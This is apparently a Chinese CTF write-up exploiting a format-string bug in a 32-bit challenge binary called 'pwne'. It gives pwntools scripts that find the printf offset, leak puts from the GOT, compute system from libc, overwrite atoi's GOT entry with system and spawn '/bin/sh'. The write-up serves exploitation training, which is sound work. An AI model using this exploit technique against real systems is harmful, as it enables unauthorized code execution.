网上随便找一下能够找到二进制文件和libc,这里就不贴了~

在函数80485CD处有上图所示的printf漏洞

checksec发现,32位程序,和hackme的echo不同的是,开了Canary和NX

所以思路还是一样,先要泄露偏移值

#!/usr/bin/env python
# coding=utf-8

from pwn import *

context.log_level = "debug"

def find_offset(payload):
    io = process("./pwne")
    io.recvuntil("[Y/N]")
    io.sendline("Y")
    io.recvuntil("NAME:\n\n")
    io.sendline(payload)
    info = io.recv()
    io.close()
    return info

autofmt = FmtStr(find_offset)
print autofmt.offset

值是7,检验一下

然后,泄露出puts函数的地址,从而可以计算出system的地址

第一次格式化字符串目的:泄露函数地址(puts)-(system)

(翻一翻pwne的函数表:没有system函数,所以要泄露)

第二次格式化字符串目的:修改函数地址(atoi)-(system)

即类似hackme的echo题(将printf函数的got地址改成system函数的plt地址),将atoi函数的got地址改成system函数的plt地址

利用之后的read函数,输入"/bin/sh"即可,代码如下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *

elf = ELF("./pwne")
#libc = ELF("./libc.so.6")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

io = process("./pwne")

#leak puts addr
io.recvuntil("[Y/N]\n")
io.sendline("Y")
io.recvuntil("NAME:\n\n")
io.sendline(p32(elf.got["puts"]) + "%7$s")
io.recvuntil("WELCOME \n")
puts_addr = io.recv()[4:8]
io.sendline("0xABCD")

#calc system addr
system_addr = libc.symbols["system"] - libc.symbols["puts"] + u32(puts_addr)
atoi_addr = elf.got["atoi"]

#change atoi_addr -> system_addr
io.recvuntil("[Y/N]\n")
io.sendline("Y")
io.recvuntil("NAME:\n\n")
io.sendline(fmtstr_payload(7, {atoi_addr: system_addr}))

#read()
io.recvuntil("AGE:\n\n")

#atoi("/bin/sh") -> system("/bin/sh")
io.sendline("/bin/sh\x00")
io.interactive()

发现:只能用自己机器的libc,用网上下载的libc不对(对比了一下,机器中的so文件大小为1745KB,网上提供的为1722KB,可能是puts和system的偏移不同了导致错误)